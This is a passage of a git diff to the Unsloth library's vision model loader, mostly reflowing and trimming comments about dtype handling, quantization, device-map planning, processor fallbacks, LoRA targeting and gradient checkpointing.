multimodal- # models. TODO: revisit once vLLM V1 supports Llama 3.2 (mllama).+ # mllama is still only in vllm v0, and vLLM V0 does not support LoRA on multimodal models. TODO: revisit once vLLM V1 supports Llama 3.2 (mllama).vllm_enable_lora = Falseos.environ["UNSLOTH_USE_NEW_MODEL"] = "1"@@ -1295,11 +1204,9 @@ class FastBaseModel:# A download counter, to see whether environments are breaking or HF is down.get_statistics(kwargs.get("local_files_only", False))- # The base plus tokenizer prefetch runs AFTER the load-mode validation below, so an invalid- # load_in_* combination fails without first downloading a snapshot.+ # The base plus tokenizer prefetch runs AFTER the load-mode validation below, so an invalid load_in_* combination fails without first downloading a snapshot.- # Whether float32 was asked for rather than arrived at by upcasting: only an explicit request- # may suppress the V100/T4 float16 autocast (#4082).+ # Whether float32 was asked for rather than arrived at by upcasting: only an explicit request may suppress the V100/T4 float16 autocast (#4082).user_float32 = _requested_float32(dtype)if dtype is None:dtype = torch.float16 if not SUPPORTS_BFLOAT16 else torch.bfloat16@@ -1320,20 +1227,16 @@ class FastBaseModel:bnb_compute_dtype = torch.float16do_forced_float32 = True- # Check for custom data-typescustom_datatype = Nonecorrect_dtype = None- # custom_datatype has to stay None when unset: the consumer below tests `is not None` and would- # walk every module of every model to exec("").+ # custom_datatype has to stay None when unset: the consumer below tests `is not None` and would walk every module of every model to exec("")._raw_custom_dtype, _code_is_trusted = trusted_custom_dtype()if _raw_custom_dtype != "":assert _raw_custom_dtype.count(";") >= 4checker, _dtype, _bnb_compute_dtype, _custom_datatype, execute_code = (_raw_custom_dtype.split(";", 4))- # Allow custom dtypes on all runs, or only on float16 datatypes.allow_all_runs = checker == "all"- # Allow only on float16 datatypesallow_float16_runs = (checker == "float16" or checker == "torch.float16") and (dtype == torch.float16 or os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1")@@ -1346,8 +1249,7 @@ class FastBaseModel:if _resolved_bnb_compute_dtype is not None:bnb_compute_dtype = _resolved_bnb_compute_dtypecorrect_dtype = bnb_compute_dtype- # The last two fields are code, run only when this process set the variable; an inherited- # environment picks dtypes but injects nothing.+ # The last two fields are code, run only when this process set the variable; an inherited environment picks dtypes but injects nothing.if _code_is_trusted:custom_datatype = _custom_datatypeif len(execute_code.strip()) != 0:@@ -1371,14 +1273,11 @@ class FastBaseModel:revision = _revision,)model_class = resolve_model_class(auto_model, auto_config)- # Forced float32 loads in bfloat16 then casts to float16. Resolved here, not at the load,- # because attention resolution and the device-map planner both size the same dtype.+ # Forced float32 loads in bfloat16 then casts to float16. Resolved here, not at the load, because attention resolution and the device-map planner both size the same dtype.torch_dtype = dtypeif do_forced_float32:torch_dtype = torch.bfloat16- # What attention actually runs in, not the load dtype: the UNSLOTH_FORCE_CUSTOM_DTYPE families- # (csm, falcon_h1, nemotron_h) load float32 for Mamba precision then cast projections back to- # correct_dtype, so flash stays.+ # What attention actually runs in, not the load dtype: the UNSLOTH_FORCE_CUSTOM_DTYPE families (csm, falcon_h1, nemotron_h) load float32 for Mamba precision then cast projections back to correct_dtype, so flash stays.attn_dtype = correct_dtype if correct_dtype is not None else torch_dtypeattn_impl = resolve_attention_implementation(model_class,@@ -1388,15 +1287,13 @@ class FastBaseModel:dtype = attn_dtype,)- # FP8 models: get_model_name already redirected to the BF16 sibling if the model ships FP8- # weights, so just update it here for sanity.+ # FP8 models: get_model_name already redirected to the BF16 sibling if the model ships FP8 weights, so just update it here for sanity.auto_config.model_name = model_namekwargs["attn_implementation"] = attn_implbnb_config = Noneuser_quantization_config = kwargs.get("quantization_config", None)- # Check whether the model already has a non-bitsandbytes quantization config (compressed-tensors/NVFP4).from .loader_utils import (check_and_disable_bitsandbytes_loading,sync_unsloth_model_name_bnb_flags,@@ -1405,8 +1302,7 @@ class FastBaseModel:load_in_4bit, load_in_8bit, _ = check_and_disable_bitsandbytes_loading(auto_config, load_in_4bit = load_in_4bit, load_in_8bit = load_in_8bit)- # Correct UNSLOTH_MODEL_NAME's bnb tokens now the effective bnb state is known (the per-load- # env was built before remap/disable). gpt-oss only.+ # Correct UNSLOTH_MODEL_NAME's bnb tokens now the effective bnb state is known (the per-load env was built before remap/disable). gpt-oss only.sync_unsloth_model_name_bnb_flags(load_in_4bit, load_in_8bit)if full_finetuning and (load_in_4bit or load_in_8bit):@@ -1417,25 +1313,19 @@ class FastBaseModel:load_in_8bit = Falseload_in_16bit = False- # text_only loads the decoder alone, but the planner gets only model_name and rebuilds the whole- # VLM: it budgets a vision tower this load never creates and names- # model.language_model.layers.0 where the standalone decoder has model.layers.0.+ # text_only loads the decoder alone, but the planner gets only model_name and rebuilds the whole VLM: it budgets a vision tower this load never creates and names model.language_model.layers.0 where the standalone decoder has model.layers.0._planner_skip_reason = ("text_only loads a decoder the repo config does not describe"if text_only_decoderelse None)- # Same failure from the other direction: num_labels (or an explicit auto_model) loads a task- # head whose `score` replaces the planned lm_head, and dispatch refuses a map with no- # score.weight.+ # Same failure from the other direction: num_labels (or an explicit auto_model) loads a task head whose `score` replaces the planned lm_head, and dispatch refuses a map with no score.weight.if _planner_skip_reason is None:_planner_skip_reason = planner_class_mismatch_reason(model_class,planner_model_class(auto_config, trust_remote_code = trust_remote_code),)- # The comparison above returns None for a concrete PreTrainedModel subclass, since- # resolve_model_class reads auto_model._model_mapping, which only Auto classes have. Unknown is- # not compatible, so decline.+ # The comparison above returns None for a concrete PreTrainedModel subclass, since resolve_model_class reads auto_model._model_mapping, which only Auto classes have. Unknown is not compatible, so decline.if (_planner_skip_reason is Noneand model_class is None@@ -1445,16 +1335,13 @@ class FastBaseModel:"an explicit model class has no auto mapping, so the plan cannot be ""checked against the class the load builds")- # The weights load against the caller's config while the planner rebuilds the repo's from a- # name, so the same class with another num_hidden_layers or vocab_size gives a map that omits- # blocks or under-budgets weights.+ # The weights load against the caller's config while the planner rebuilds the repo's from a name, so the same class with another num_hidden_layers or vocab_size gives a map that omits blocks or under-budgets weights.if _planner_skip_reason is None and (user_config is not None or auto_config_from_caller):_planner_skip_reason = ("a caller-supplied config may not describe the repo the planner rebuilds")- # A no-op unless the caller asked for "unsloth" (or set UNSLOTH_AUTO_DEVICE_MAP); an- # already-planned map comes back unchanged.+ # A no-op unless the caller asked for "unsloth" (or set UNSLOTH_AUTO_DEVICE_MAP); an already-planned map comes back unchanged.device_map = resolve_unsloth_device_map(requested_device_map(device_map),model_name,@@ -1466,19 +1353,15 @@ class FastBaseModel:token = token,trust_remote_code = trust_remote_code,**planner_hub_kwargs(kwargs),- # The pin the config and weights below use; the default branch would size a different- # checkpoint than the one being loaded.+ # The pin the config and weights below use; the default branch would size a different checkpoint than the one being loaded.revision = _revision,- # The dtype the load below is given: from_pretrained overrides config.json, so planning the- # checkpoint's own mis-sizes by 2x whenever it changed.+ # The dtype the load below is given: from_pretrained overrides config.json, so planning the checkpoint's own mis-sizes by 2x whenever it changed.**add_dtype_kwargs(torch_dtype),- # A caller-supplied config overrides the flags: loader.py clears them when it forwards one, so- # the flags alone would size a 4bit load at full precision.+ # A caller-supplied config overrides the flags: loader.py clears them when it forwards one, so the flags alone would size a 4bit load at full precision.**planner_quantization_kwargs(load_in_4bit = load_in_4bit,load_in_8bit = load_in_8bit,quantization_config = user_quantization_config,- # The same extra _skip_modules below adds.extra_skip_modules = ["out_proj"]if any(mt == "nemotron_h" for mt in (model_types or []))else None,@@ -1490,9 +1373,7 @@ class FastBaseModel:"Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!")- # Prefetch the repo (killable child) so the in-process load is a cache hit. vLLM owns the- # download only when actually available; if it was requested but is missing, the load falls- # through in-process, so warm the weights here.+ # Prefetch the repo (killable child) so the in-process load is a cache hit. vLLM owns the download only when actually available; if it was requested but is missing, the load falls through in-process, so warm the weights here._vllm_owns_weights = fast_inference and is_vLLM_available()_prefetched = maybe_prefetch_hf_snapshot(model_name,@@ -1517,8 +1398,7 @@ class FastBaseModel:if _prefetched and kwargs.get("force_download", False):kwargs["force_download"] = False- # Warm a SEPARATE tokenizer repo only. Not model_name: this runs before fast_inference_setup- # may remap the repo, so it would warm the wrong one.+ # Warm a SEPARATE tokenizer repo only. Not model_name: this runs before fast_inference_setup may remap the repo, so it would warm the wrong one._tokenizer_repo = (tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name)@@ -1538,8 +1418,7 @@ class FastBaseModel:)_skip_modules = SKIP_QUANTIZATION_MODULES.copy()- # Nemotron-H uses 'mixer' (not 'mamba') for Mamba layers, whose fused kernels pass- # out_proj.weight straight to F.linear and fail with quantized Params4bit, so skip out_proj.+ # Nemotron-H uses 'mixer' (not 'mamba') for Mamba layers, whose fused kernels pass out_proj.weight straight to F.linear and fail with quantized Params4bit, so skip out_proj.if any(mt == "nemotron_h" for mt in (model_types or [])):_skip_modules.append("out_proj")@@ -1613,7 +1492,6 @@ class FastBaseModel:quantization_config = auto_config.quantization_configquant_method = quantization_config["quant_method"]- # Sometimes bitsandbytes_4bit + bitsandbytes_8bit is provided.if (quant_method == "bitsandbytes"and "bitsandbytes" not in AUTO_QUANTIZATION_CONFIG_MAPPING@@ -1633,7 +1511,6 @@ class FastBaseModel:if load_in_16bit and "dequantize" in inspect.signature(quantizer).parameters:quantizer_kwargs["dequantize"] = Truetry:- # Sometimes this fails, so wrap it in try/except.quantization_config = quantizer.from_dict(quantization_config, **quantizer_kwargs)@@ -1664,7 +1541,6 @@ class FastBaseModel:raise_handler = RaiseUninitialized()try:if offload_embedding and fast_inference:- # vLLM manages its own weights. Silent for the default, as above.if offload_embedding != OFFLOAD_EMBEDDING_AUTO:print("Unsloth: Not offloading embeddings; incompatible with fast_inference (vLLM)."@@ -1673,8 +1549,7 @@ class FastBaseModel:if not fast_inference:# Prevent load_in_fp8 from being forwarded into HF internal model loading.load_in_fp8 = kwargs.pop("load_in_fp8", None)- # Transformers 5.x @strict config classes reject unexpected kwargs, so move config-level- # attributes onto the config object directly.+ # Transformers 5.x @strict config classes reject unexpected kwargs, so move config-level attributes onto the config object directly._num_labels = kwargs.pop("num_labels", None)if _num_labels is not None:set_task_config_attr(model_config, "num_labels", _num_labels)@@ -1699,7 +1574,6 @@ class FastBaseModel:offload_embedding,)- # Attach dispatch hooks for bnb multi-device loads._attach_bnb_multidevice_hooks(model,load_in_4bit = load_in_4bit,@@ -1722,7 +1596,6 @@ class FastBaseModel:model.fast_generate = make_fast_generate_wrapper(model.generate)model.fast_generate_batches = error_out_no_vllmif offload_embedding:- # Unsupported platforms and tied embeddings were screened out above.embed_tokens = model.get_input_embeddings()out_embed = (model.get_output_embeddings()@@ -1735,7 +1608,6 @@ class FastBaseModel:_embed_device = embed_tokens.weight.device # decoder device, before offloadembed_tokens.to("cpu")- # Device-safe embedding offload._install_offload_embedding_hooks(embed_tokens, out_embed, _embed_device)_pin_device_to_decoder(model)# GPU memory must be freed explicitly or it will not be freed.@@ -1820,7 +1692,6 @@ class FastBaseModel:raise_handler.remove()os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer- # Check float32 norm weightsif os.environ.get("UNSLOTH_HIGH_PRECISION_LAYERNORM", "0") == "1":for jj, (name, module) in enumerate(model.named_modules()):if (@@ -1837,16 +1708,13 @@ class FastBaseModel:gc.collect()clean_gpu_cache()- # Counteract saved tokenizers.tokenizer_name = model_name if tokenizer_name is None else tokenizer_name- # The loader resolves this (caller's adapter repo vs resolved base model); the fallback below- # covers a direct call.+ # The loader resolves this (caller's adapter repo vs resolved base model); the fallback below covers a direct call._tokenizer_revision = _tokenizer_revision_argif _tokenizer_revision is None and tokenizer_name == _revision_repo:_tokenizer_revision = _revision- # On the vLLM path the tokenizer warm was deferred, since fast_inference_setup may remap- # model_name, so warm the now-final tokenizer repo (cached or local is a no-op).+ # On the vLLM path the tokenizer warm was deferred, since fast_inference_setup may remap model_name, so warm the now-final tokenizer repo (cached or local is a no-op).if _vllm_owns_weights and isinstance(tokenizer_name, str) and tokenizer_name:maybe_prefetch_hf_snapshot(tokenizer_name,@@ -1880,8 +1748,7 @@ class FastBaseModel:except Exception:pass- # Functional load chain (AutoProcessor -> get_auto_processor -> manual VLM fallback); offline is- # already forced upstream, and the error is surfaced for the retry.+ # Functional load chain (AutoProcessor -> get_auto_processor -> manual VLM fallback); offline is already forced upstream, and the error is surfaced for the retry.def _acquire_processor(lfo):_err = None # underlying load failure (used by the entry-point retry)if (whisper_language and whisper_task) or auto_model.__name__.endswith(@@ -1926,11 +1793,9 @@ class FastBaseModel:revision = _tokenizer_revision,)except Exception:- # Swallow so the manual fallback / entry-point retry can run._tok = None- # Build the processor manually if it failed to load or silently degraded to a text-only- # tokenizer (no image_processor) for a VLM (#4085).+ # Build the processor manually if it failed to load or silently degraded to a text-only tokenizer (no image_processor) for a VLM (#4085)._processor_is_degraded = (is_vlm and _tok is not None and not hasattr(_tok, "image_processor"))@@ -1955,20 +1820,17 @@ class FastBaseModel:return _tok, _errdef _is_degraded_vlm(_t):- # A VLM that loaded only a text-only tokenizer (no image_processor).return is_vlm and _t is not None and not hasattr(_t, "image_processor")tokenizer, _primary_err = _acquire_processor(local_files_only)- # Online network failure or degrade: raise so @_offline_aware_load retries from cache.- # Permanent / missing-file errors propagate, and when already offline keep what we got.+ # Online network failure or degrade: raise so @_offline_aware_load retries from cache. Permanent / missing-file errors propagate, and when already offline keep what we got.if ((tokenizer is None or _is_degraded_vlm(tokenizer))and not local_files_onlyand _is_offline_related_error(_primary_err)):raise _primary_err- # Missing torchvision silently degrades a VLM processor to text-only; surface the real cause- # instead of a later collator error (#4202).+ # Missing torchvision silently degrades a VLM processor to text-only; surface the real cause instead of a later collator error (#4202).if is_vlm and (tokenizer is None or not hasattr(tokenizer, "image_processor")):if _missing_torchvision_error(_primary_err):raise ImportError(@@ -1982,8 +1844,7 @@ class FastBaseModel:f"Unsloth: Warning - VLM processor fallback returned None for model_type={model_type_arch}",file = sys.stderr,)- # Backwards compat: if the processor has no chat_template (old saves without chat_template.jinja)- # but the inner tokenizer does, copy it to the processor.+ # Backwards compat: if the processor has no chat_template (old saves without chat_template.jinja) but the inner tokenizer does, copy it to the processor.if (hasattr(tokenizer, "tokenizer")and getattr(tokenizer, "chat_template", None) is None@@ -2003,7 +1864,6 @@ class FastBaseModel:if hasattr(__tokenizer, "pad_token"):tokenizer.pad_token = __tokenizer.pad_tokentokenizer.pad_token_id = __tokenizer.pad_token_id- # Fix other stuff like BnB compute data typesmodel, tokenizer = patch_model_and_tokenizer(model,tokenizer,@@ -2042,7 +1902,6 @@ class FastBaseModel:raise _patch_errmodel = post_patch_loss_function(model)- # Log the Unsloth version for future inference fastpaths.if hasattr(model, "config"):model.config.update({"unsloth_version": __version__})patch_saving_functions(model, vision = True)@@ -2083,7 +1942,6 @@ class FastBaseModel:tokenizer = _last_resort_tokenizer(local_files_only)except Exception as _e:_last_resort_err = _e- # Online network failure: let the entry point retry forced-offline.if not local_files_only and _is_offline_related_error(_e):raiseif tokenizer is None:@@ -2115,9 +1973,7 @@ class FastBaseModel:tokenizer.padding_side = "left"if hasattr(tokenizer, "tokenizer"):tokenizer.tokenizer.padding_side = "left"- # Audio feature extractors must stay right padded: left (a text setting, forwarded by- # from_pretrained) shifts Whisper mels and desyncs Gemma 4 audio token counts, crashing on- # transformers < 5.10.+ # Audio feature extractors must stay right padded: left (a text setting, forwarded by from_pretrained) shifts Whisper mels and desyncs Gemma 4 audio token counts, crashing on transformers < 5.10.feature_extractor = getattr(tokenizer, "feature_extractor", None)if (feature_extractor is not None@@ -2155,15 +2011,12 @@ class FastBaseModel:for _ in range(3):gc.collect()clean_gpu_cache()- # Saving restores sentencepiece assets from the repo name alone, which carries no branch.- # Stamped here, not per processor branch, so a fallback cannot lose it.+ # Saving restores sentencepiece assets from the repo name alone, which carries no branch. Stamped here, not per processor branch, so a fallback cannot lose it._mark_loaded_revision(tokenizer, _tokenizer_revision)model = _mark_forced_float32(model, do_forced_float32)model = _mark_full_finetuning(model, full_finetuning)- # LAST, like the llama loader: patch_model_and_tokenizer below REPLACES the embedding and- # lm_head with fresh modules carrying the weights but not the _hf_hook, so a model split across- # cards would still meet the original cross-device index_select. Idempotent.+ # LAST, like the llama loader: patch_model_and_tokenizer below REPLACES the embedding and lm_head with fresh modules carrying the weights but not the _hf_hook, so a model split across cards would still meet the original cross-device index_select. Idempotent.if not fast_inference and not offload_embedding:try:_repaired = _repair_dispatch_hooks(model)@@ -2211,8 +2064,7 @@ class FastBaseModel:):if os.environ.get("UNSLOTH_ENABLE_FULL_FINETUNING", "0") == "1":print("Unsloth: Full finetuning is enabled, so .get_peft_model has no effect")- # Full finetuning still compiles, so a stray pre-train forward can poison the cache; install the- # detector here too (idempotent).+ # Full finetuning still compiles, so a stray pre-train forward can poison the cache; install the detector here too (idempotent)._unsloth_install_pretrain_detector(model)return modeltransformers_set_seed(random_state)@@ -2225,8 +2077,7 @@ class FastBaseModel:if isinstance(model, PeftModelForCausalLM):raise RuntimeError("Unsloth: You already added LoRA adapters to your model!")- # Remember whether the CALLER explicitly opted into audio: "all-linear" turns the flag on- # implicitly below, but an old unsloth_zoo without audio must not fail a plain all-linear run.+ # Remember whether the CALLER explicitly opted into audio: "all-linear" turns the flag on implicitly below, but an old unsloth_zoo without audio must not fail a plain all-linear run._audio_explicitly_requested = bool(finetune_audio_layers)if target_modules == "all-linear":finetune_vision_layers = True@@ -2234,9 +2085,7 @@ class FastBaseModel:finetune_attention_modules = Truefinetune_mlp_modules = Truefinetune_audio_layers = True- # Older unsloth_zoo (before get_peft_regex gained finetune_audio_layers) rejects the kwarg, so- # pass it only when supported; an EXPLICIT audio request fails loudly rather than silently- # training a language-only adapter, while all-linear's implicit opt-in degrades gracefully.+ # Older unsloth_zoo (before get_peft_regex gained finetune_audio_layers) rejects the kwarg, so pass it only when supported; an EXPLICIT audio request fails loudly rather than silently training a language-only adapter, while all-linear's implicit opt-in degrades gracefully.if "finetune_audio_layers" in inspect.signature(get_peft_regex).parameters:_audio_kwargs = {"finetune_audio_layers": finetune_audio_layers}elif _audio_explicitly_requested:@@ -2246,13 +2095,10 @@ class FastBaseModel:)else:_audio_kwargs = {}- # Remember the caller's ORIGINAL explicit leaf list for MoE expert detection: routing it through- # get_peft_regex adds the full "mlp|feed_forward|ffn|dense" block even for attention-only leaves,- # so keying on that regex would train the experts. Only the auto path relies on the regex.+ # Remember the caller's ORIGINAL explicit leaf list for MoE expert detection: routing it through get_peft_regex adds the full "mlp|feed_forward|ffn|dense" block even for attention-only leaves, so keying on that regex would train the experts. Only the auto path relies on the regex._moe_detect_target = target_modules if type(target_modules) in (list, tuple) else None- # get_peft_regex drops these (no attention/MLP ancestor) and LoRA on them never trains, so- # redirect before scoping, matching FastLanguageModel.+ # get_peft_regex drops these (no attention/MLP ancestor) and LoRA on them never trains, so redirect before scoping, matching FastLanguageModel.target_modules, modules_to_save, _moved = _redirect_embedding_targets(target_modules,modules_to_save,@@ -2289,9 +2135,7 @@ class FastBaseModel:)else:assert type(target_modules) in (list, tuple, str)- # Route an explicit list through get_peft_regex when the caller scoped a layer family or opted- # into audio, so the new audio/embedder branches are considered. finetune_audio_layers is a- # POSITIVE term: negating it would force every explicit list through the filter.+ # Route an explicit list through get_peft_regex when the caller scoped a layer family or opted into audio, so the new audio/embedder branches are considered. finetune_audio_layers is a POSITIVE term: negating it would force every explicit list through the filter._scoping = (not finetune_vision_layersor not finetune_language_layers@@ -2329,8 +2173,7 @@ class FastBaseModel:"Unsloth: Finetuning vision layers is not supported for fast_inference. Only text layers are supported!")if model.config.model_type in VLLM_NON_LORA_VLM:- # mllama is still only in vllm v0, and vLLM V0 does not support LoRA on multimodal- # models. TODO: revisit once vLLM V1 supports Llama 3.2 (mllama).+ # mllama is still only in vllm v0, and vLLM V0 does not support LoRA on multimodal models. TODO: revisit once vLLM V1 supports Llama 3.2 (mllama).raise RuntimeError("Unsloth: LoRA finetuning for Llama 3.2 aka mllama models is not supported with fast_inference!")@@ -2344,10 +2187,7 @@ class FastBaseModel:loftq_config, lora_dropout, bias, init_lora_weights, model)- # Auto-detect MoE models and populate target_parameters for expert layers. Prefer the caller's- # ORIGINAL explicit leaf list over the scoped regex so an attention-only request does not train- # experts, but only while MLP and language families are both in scope: with finetune_mlp_modules- # or finetune_language_layers False the scoped regex already dropped the experts.+ # Auto-detect MoE models and populate target_parameters for expert layers. Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an attention-only request does not train experts, but only while MLP and language families are both in scope: with finetune_mlp_modules or finetune_language_layers False the scoped regex already dropped the experts.if target_parameters is None:_moe_targets = _select_moe_detection_targets(_moe_detect_target,@@ -2357,8 +2197,7 @@ class FastBaseModel:)target_parameters = get_moe_target_parameters(model, _moe_targets)- # Per-expert Linear layouts (gpt-oss bnb-4bit) target experts via target_modules, not fused- # Parameters. Extend either form PEFT accepts: a leaf list, or a regex string.+ # Per-expert Linear layouts (gpt-oss bnb-4bit) target experts via target_modules, not fused Parameters. Extend either form PEFT accepts: a leaf list, or a regex string._moe_module_detect = _select_moe_detection_targets(_moe_detect_target,target_modules,@@ -2404,15 +2243,13 @@ class FastBaseModel:model,use_gradient_checkpointing = use_gradient_checkpointing,)- # Gemma4 ClippableLinear wraps nn.Linear and PEFT cannot inject LoRA on it directly, so patch- # PEFT to target the inner .linear child.+ # Gemma4 ClippableLinear wraps nn.Linear and PEFT cannot inject LoRA on it directly, so patch PEFT to target the inner .linear child._clippable_linear_cls = Nonetry:from transformers.models.gemma4.modeling_gemma4 import (Gemma4ClippableLinear as _clippable_linear_cls,)except ImportError:- # Respect whatever it was set beforepassif _clippable_linear_cls is not None:from peft.tuners.lora.model import LoraModel as _LoraModel@@ -2455,8 +2292,7 @@ class FastBaseModel:model = _get_peft_model(model, lora_config)- # PEFT may have wrapped an endpoint this load repaired; the hook stays on base_layer and the- # adapter branch reads the caller's tensor.+ # PEFT may have wrapped an endpoint this load repaired; the hook stays on base_layer and the adapter branch reads the caller's tensor.try:_lifted = _lift_endpoint_hooks_onto_adapters(model)if _lifted:@@ -2496,8 +2332,7 @@ class FastBaseModel:m.for_training = functools.partial(FastBaseModel.for_training, m)m.for_inference = functools.partial(FastBaseModel.for_inference, m)m = m.model- # Detect a stray pre-train forward so train() can drop the torch.compile graph cache it would- # otherwise poison (see prepare_for_training_mode).+ # Detect a stray pre-train forward so train() can drop the torch.compile graph cache it would otherwise poison (see prepare_for_training_mode)._unsloth_install_pretrain_detector(model)model = _exclude_rope_inv_freq_from_ddp(model)return model@@ -2514,22 +2349,17 @@ class FastBaseModel:full_finetuning = os.environ.get("UNSLOTH_ENABLE_FULL_FINETUNING", "0") == "1"if type(float32_mixed_precision) is bool:- # Respect whatever it was set to before.passelse:float32_mixed_precision = Trueif _get_dtype(dtype_from_config(model.config)) == torch.bfloat16 and full_finetuning:- # Use bfloat16 precision for full finetuningfloat32_mixed_precision = False- # VLMs can hit DDP "marked ready twice" with re-entrant checkpointing (#3713), so under DDP skip- # the offloaded/re-entrant checkpoint patch and default native checkpoint to non-reentrant.+ # VLMs can hit DDP "marked ready twice" with re-entrant checkpointing (#3713), so under DDP skip the offloaded/re-entrant checkpoint patch and default native checkpoint to non-reentrant.use_reentrant = not is_distributed()if not use_reentrant:- # Under DDP, avoid the offloaded/re-entrant checkpoint patch.unpatch_unsloth_gradient_checkpointing()unpatch_unsloth_smart_gradient_checkpointing()- # Force native checkpoint to default to non-reentrant for downstream calls._orig_checkpoint = torch_checkpoint.checkpointdef _nonre_checkpoint(function, *args, **kwargs):@@ -2550,14 +2380,10 @@ class FastBaseModel:float32_mixed_precision = float32_mixed_precision,patch_modules_to_save = True,)- # Persist the configured GC mode so the trainer restores it verbatim: for_inference() clears the- # module flags every GRPO generation step, and TrainingArguments defaults- # gradient_checkpointing=False, which would silently disable it at train time (#4735).+ # Persist the configured GC mode so the trainer restores it verbatim: for_inference() clears the module flags every GRPO generation step, and TrainingArguments defaults gradient_checkpointing=False, which would silently disable it at train time (#4735).model._unsloth_gradient_checkpointing = use_gradient_checkpointing- # The Gemma3N audio conformer's variable-length tensors cause stride mismatches in the AOT- # autograd compiled backward under non-reentrant checkpointing, and TRL may override- # gradient_checkpointing_kwargs later, so intercept the enable and force use_reentrant=True.+ # The Gemma3N audio conformer's variable-length tensors cause stride mismatches in the AOT autograd compiled backward under non-reentrant checkpointing, and TRL may override gradient_checkpointing_kwargs later, so intercept the enable and force use_reentrant=True._model_type = getattr(getattr(model, "config", None), "model_type", "") or ""if "gemma3n" in _model_type.lower() or "gemma4" in _model_type.lower():_original_gc_enable = model.gradient_checkpointing_enable@@ -2601,9 +2427,7 @@ class FastBaseModel:m.for_training = functools.partial(FastBaseModel.for_training, m)m.for_inference = functools.partial(FastBaseModel.for_inference, m)m = m.model- # Set weight[padding_idx] = 0 only for embeddings NOT tied with the lm_head: when tied, zeroing- # the padding row zeros the lm_head row and forces logit = 0 for the pad token. Only when the- # tokenizer is defined, since eos_token == pad_token sometimes.+ # Set weight[padding_idx] = 0 only for embeddings NOT tied with the lm_head: when tied, zeroing the padding row zeros the lm_head row and forces logit = 0 for the pad token. Only when the tokenizer is defined, since eos_token == pad_token sometimes.pad_token_id = getattr(tokenizer, "pad_token_id", None)lm_head = getattr(model, "lm_head", None)lm_head_weight = getattr(lm_head, "weight", None) if lm_head is not None else None@@ -2651,7 +2475,6 @@ class FastBaseModel:model.eval() # to turn off training on modules deeper in# Since transformers 4.53, this must be turned off explicitly.- # Since transformers 4.53, must turn off explicitlyfor module in model.modules():if hasattr(module, "gradient_checkpointing"):module.gradient_checkpointing = False@@ -2664,10 +2487,7 @@ class FastBaseModel:embeddings = model.get_output_embeddings()if hasattr(embeddings, "training"):embeddings.training = False- # Restore use_cache values that prepare_model_for_training disabled for gradient checkpointing- # (older unsloth_zoo has no restore helper).- # Restore use_cache values that prepare_model_for_training disabled for gradient checkpointing (older- # unsloth_zoo has no restore helper)+ # Restore use_cache values that prepare_model_for_training disabled for gradient checkpointing (older unsloth_zoo has no restore helper).try:from unsloth_zoo.training_utils import restore_use_cacherestore_use_cache(model)@@ -2677,7 +2497,6 @@ class FastBaseModel:# Returning hidden states must be disabled for GRPO, and returning logits enabled.os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "0"os.environ["UNSLOTH_RETURN_LOGITS"] = "1"- # Turn off skip guards and set stance to default.if torch_compiler_set_stance is not None:torch_compiler_set_stance(stance = "default", skip_guard_eval_unsafe = False)return model@@ -2715,7 +2534,6 @@ class FastBaseModel:model.train() # to turn on training on modules deeper in# Since transformers 4.53, this must be turned on explicitly.- # Since transformers 4.53, must turn on explicitlyfor module in model.modules():if hasattr(module, "gradient_checkpointing"):module.gradient_checkpointing = use_gradient_checkpointing@@ -2728,10 +2546,7 @@ class FastBaseModel:embeddings = model.get_output_embeddings()if hasattr(embeddings, "training"):embeddings.training = True- # Re-disable use_cache if prepare_model_for_training had disabled it and for_inference restored- # it; the record only exists after a disable.- # Re-disable use_cache if prepare_model_for_training had disabled it and for_inference restored it- # (record only exists after a disable)+ # Re-disable use_cache if prepare_model_for_training had disabled it and for_inference restored it; the record only exists after a disable.if (use_gradient_checkpointingand getattr(model, "_unsloth_use_cache_originals", None) is not None@@ -2743,9 +2558,7 @@ class FastBaseModel:except ImportError:pass- # Not returning logits can be re-enabled.os.environ["UNSLOTH_RETURN_LOGITS"] = "0"- # Turn off skip guards and set stance to default.if torch_compiler_set_stance is not None:torch_compiler_set_stance(stance = "default", skip_guard_eval_unsafe = False)return model@@ -2796,18 +2609,12 @@ def check_dataset_for_missing_videos(raise_error = True,checked = None,):- """- Validate that local video paths referenced in a dataset exist, catching- missing files before training (torchvision otherwise returns an empty- tensor and the model silently receives no video signal).+ """Validate that local video paths referenced in a dataset exist, catching missing files before training (torchvision otherwise returns an empty tensor and the model silently receives no video signal).Args:- dataset: Map-style Dataset, list of dicts, or iterable of examples- (not a streaming IterableDataset - iterating consumes it).- column: Chat-messages column, default "messages"; "conversations",- "prompt" and "completion" are also scanned.- raise_error: True (default) raises FileNotFoundError listing missing- files; False warns and returns them.+ dataset: Map-style Dataset, list of dicts, or iterable of examples (not a streaming IterableDataset, since iterating consumes it).+ column: Chat-messages column, default "messages"; "conversations", "prompt" and "completion" are also scanned.+ raise_error: True (default) raises FileNotFoundError listing missing files; False warns and returns them.checked: Optional set of known-good paths for cross-call dedup.Returns:@@ -2828,8 +2635,7 @@ def check_dataset_for_missing_videos(passmissing = []- # Report each missing path once; only confirmed-existing paths enter `checked`, so retries after- # an error re-check previously missing files.+ # Report each missing path once; only confirmed-existing paths enter `checked`, so retries after an error re-check previously missing files.seen_missing = set()if checked is None:checked = set()@@ -2873,7 +2679,6 @@ def check_dataset_for_missing_videos(return missing-# Auto-enable grouped-GEMM MoE (transformers < 5 ModuleList experts); see llama.py.try:from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moeFastBaseModel.from_pretrained = staticmethod(diff --git a/unsloth/ollama_template_mappers.py b/unsloth/ollama_template_mappers.pyindex f457caeaff9..9c26bd0d24a 100644--- a/unsloth/ollama_template_mappers.py+++ b/unsloth/ollama_template_mappers.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/optimizers/__init__.py b/unsloth/optimizers/__init__.pyindex b126321ab12..e860bcac2fd 100644--- 